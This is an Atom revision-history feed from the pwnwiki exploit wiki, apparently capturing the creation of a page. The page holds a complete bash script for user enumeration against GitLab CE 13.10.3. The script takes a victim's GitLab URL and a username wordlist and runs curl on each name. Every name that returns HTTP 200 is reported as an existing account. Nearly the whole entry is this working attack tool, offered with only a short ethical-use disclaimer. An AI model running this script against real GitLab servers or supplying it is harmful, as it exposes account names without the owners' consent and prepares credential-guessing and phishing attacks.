<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=GitLab_Community_Edition_%28CE%29_13.10.3_%E7%94%A8%E6%88%B6%E6%9E%9A%E8%88%89%E6%BC%8F%E6%B4%9E</id>
	<title>GitLab Community Edition (CE) 13.10.3 用戶枚舉漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=GitLab_Community_Edition_%28CE%29_13.10.3_%E7%94%A8%E6%88%B6%E6%9E%9A%E8%88%89%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=GitLab_Community_Edition_(CE)_13.10.3_%E7%94%A8%E6%88%B6%E6%9E%9A%E8%88%89%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-09T04:37:07Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=GitLab_Community_Edition_(CE)_13.10.3_%E7%94%A8%E6%88%B6%E6%9E%9A%E8%88%89%E6%BC%8F%E6%B4%9E&amp;diff=2056&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==EXP== &lt;pre&gt; # Exploit Title: GitLab Community Edition (CE) 13.10.3 - User Enumeration # Date: 4/29/2021 # Exploit Author: @4D0niiS [https://github.com/4D0niiS] # Vendor Home...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=GitLab_Community_Edition_(CE)_13.10.3_%E7%94%A8%E6%88%B6%E6%9E%9A%E8%88%89%E6%BC%8F%E6%B4%9E&amp;diff=2056&amp;oldid=prev"/>
		<updated>2021-05-03T12:16:45Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==EXP== &amp;lt;pre&amp;gt; # Exploit Title: GitLab Community Edition (CE) 13.10.3 - User Enumeration # Date: 4/29/2021 # Exploit Author: @4D0niiS [https://github.com/4D0niiS] # Vendor Home...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==EXP==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# Exploit Title: GitLab Community Edition (CE) 13.10.3 - User Enumeration&lt;br /&gt;
# Date: 4/29/2021&lt;br /&gt;
# Exploit Author: @4D0niiS [https://github.com/4D0niiS]&lt;br /&gt;
# Vendor Homepage: https://gitlab.com/&lt;br /&gt;
# Version: 13.10.3&lt;br /&gt;
# Tested on: Kali Linux 2021.1&lt;br /&gt;
&lt;br /&gt;
#!/bin/bash&lt;br /&gt;
&lt;br /&gt;
#Colors&lt;br /&gt;
RED='\033[38;5;196m'&lt;br /&gt;
GREEN='\e[38;5;47m'&lt;br /&gt;
NC='\033[0m'&lt;br /&gt;
BOLD='\e[1m'&lt;br /&gt;
PINK='\e[38;5;198m'&lt;br /&gt;
Italic='\e[3m'&lt;br /&gt;
BBlue='\e[44m'&lt;br /&gt;
YELLOW='\033[0;33m'&lt;br /&gt;
&lt;br /&gt;
clear&lt;br /&gt;
echo -e &amp;quot;~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~&amp;quot;&lt;br /&gt;
echo -e &amp;quot;  			             ${BBlue}${BOLD}GitLab User Enumeration Script${NC}&amp;quot;&lt;br /&gt;
echo -e &amp;quot;   	    			             ${BOLD}Version 1.0${NC}\n&amp;quot;&lt;br /&gt;
echo -e &amp;quot;${BOLD}${PINK}Description: ${NC}It prints out the usernames that exist in your victim's GitLab CE instance\n&amp;quot;&lt;br /&gt;
echo -e &amp;quot;${BOLD}${PINK}Disclaimer: ${NC}${Italic}Do not run this script against ${BOLD}GitLab.com!${NC}${Italic} Also keep in mind that this PoC is meant only&amp;quot;&lt;br /&gt;
echo -e &amp;quot;for educational purpose and ethical use. Running it against systems that you do not own or have the&amp;quot;&lt;br /&gt;
echo -e &amp;quot;right permission is totally on your own risk.\n${NC}&amp;quot;&lt;br /&gt;
echo -e &amp;quot;${BOLD}${PINK}Author:${NC}${BOLD} @4DoniiS${NC}${Italic} [https://github.com/4D0niiS]${NC}&amp;quot;&lt;br /&gt;
echo -e &amp;quot;~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~&amp;quot;&lt;br /&gt;
echo &amp;quot;&amp;quot;&lt;br /&gt;
echo &amp;quot;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
# Usage&lt;br /&gt;
usage() {&lt;br /&gt;
echo -e &amp;quot;${YELLOW}usage: ./gitlab_user_enum.sh --url &amp;lt;URL&amp;gt; --userlist &amp;lt;Username Wordlist&amp;gt;${NC}\n&amp;quot;&lt;br /&gt;
&lt;br /&gt;
echo -e &amp;quot;${Italic}PARAMETERS:${NC}&amp;quot;&lt;br /&gt;
echo -e &amp;quot;-------------&amp;quot;&lt;br /&gt;
echo -e &amp;quot;-u/--url	The URL of your victim's GitLab instance&amp;quot;&lt;br /&gt;
echo -e &amp;quot;--userlist	Path to a username wordlist file (one per line)&amp;quot;&lt;br /&gt;
echo -e &amp;quot;-h/--help	Show this help message and exit&amp;quot;&lt;br /&gt;
echo -e &amp;quot;\n&amp;quot;&lt;br /&gt;
echo -e &amp;quot;${Italic}Example:${NC}&amp;quot;&lt;br /&gt;
echo -e &amp;quot;-------------&amp;quot;&lt;br /&gt;
echo -e &amp;quot;./gitlab_user_enum.sh --url http://gitlab.local/ --userlist /home/user/usernames.txt&amp;quot;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
#check for params&lt;br /&gt;
args=(&amp;quot;$@&amp;quot;)&lt;br /&gt;
URL=&amp;quot;&amp;quot;&lt;br /&gt;
user_list=&amp;quot;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
for (( i=0; i &amp;lt; $#; i++))&lt;br /&gt;
{&lt;br /&gt;
	case ${args[$i]} in&lt;br /&gt;
	--url | -u)&lt;br /&gt;
	#GitLab's URL&lt;br /&gt;
	URL=${args[$((i+1))]}&lt;br /&gt;
	;;&lt;br /&gt;
	--userlist)&lt;br /&gt;
	#Username wordlist&lt;br /&gt;
	user_list=${args[$((i+1))]}&lt;br /&gt;
	;;&lt;br /&gt;
	-h | --help | &amp;quot;&amp;quot;)&lt;br /&gt;
	#Help Menu&lt;br /&gt;
	usage&lt;br /&gt;
	exit 0&lt;br /&gt;
	;;&lt;br /&gt;
	esac&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
## checking the mandatory parameter (URL)&lt;br /&gt;
if [ -z &amp;quot;$URL&amp;quot; ]  &lt;br /&gt;
then &lt;br /&gt;
    usage&lt;br /&gt;
    echo &amp;quot;&amp;quot;&lt;br /&gt;
    echo -e &amp;quot;${RED}${BOLD}The URL of your GitLab target (--url) is missing. ${NC}&amp;quot;&lt;br /&gt;
    exit 0 &lt;br /&gt;
fi&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
# User Enumeration Function&lt;br /&gt;
enumeration(){&lt;br /&gt;
&lt;br /&gt;
while IFS= read -r line&lt;br /&gt;
do&lt;br /&gt;
	echo &amp;quot;LOOP&amp;quot;&lt;br /&gt;
	HTTP_Code=$( curl -s -o /dev/null -w &amp;quot;%{http_code}&amp;quot; $URL/$line)&lt;br /&gt;
	echo $HTTP_Code&lt;br /&gt;
	#echo &amp;quot;\n&amp;quot;&lt;br /&gt;
	if [ $HTTP_Code -eq 200 ]&lt;br /&gt;
	then&lt;br /&gt;
 	 echo -e &amp;quot;${GREEN}${BOLD}[+]${NC} The username ${GREEN}${BOLD}$line ${NC}exists!&amp;quot;&lt;br /&gt;
	#check the connection&lt;br /&gt;
	elif [ $HTTP_Code -eq 000 ]&lt;br /&gt;
	then&lt;br /&gt;
	 echo -e &amp;quot;${BOLD}${RED}[!]${NC} The target is unreachable. Please make sure that you entered target's URL correctly and you have connection with it!&amp;quot;&lt;br /&gt;
	 exit 0&lt;br /&gt;
	fi&lt;br /&gt;
	&lt;br /&gt;
done &amp;lt; &amp;quot;$user_list&amp;quot;&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
# Main &lt;br /&gt;
enumeration&lt;br /&gt;
            &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>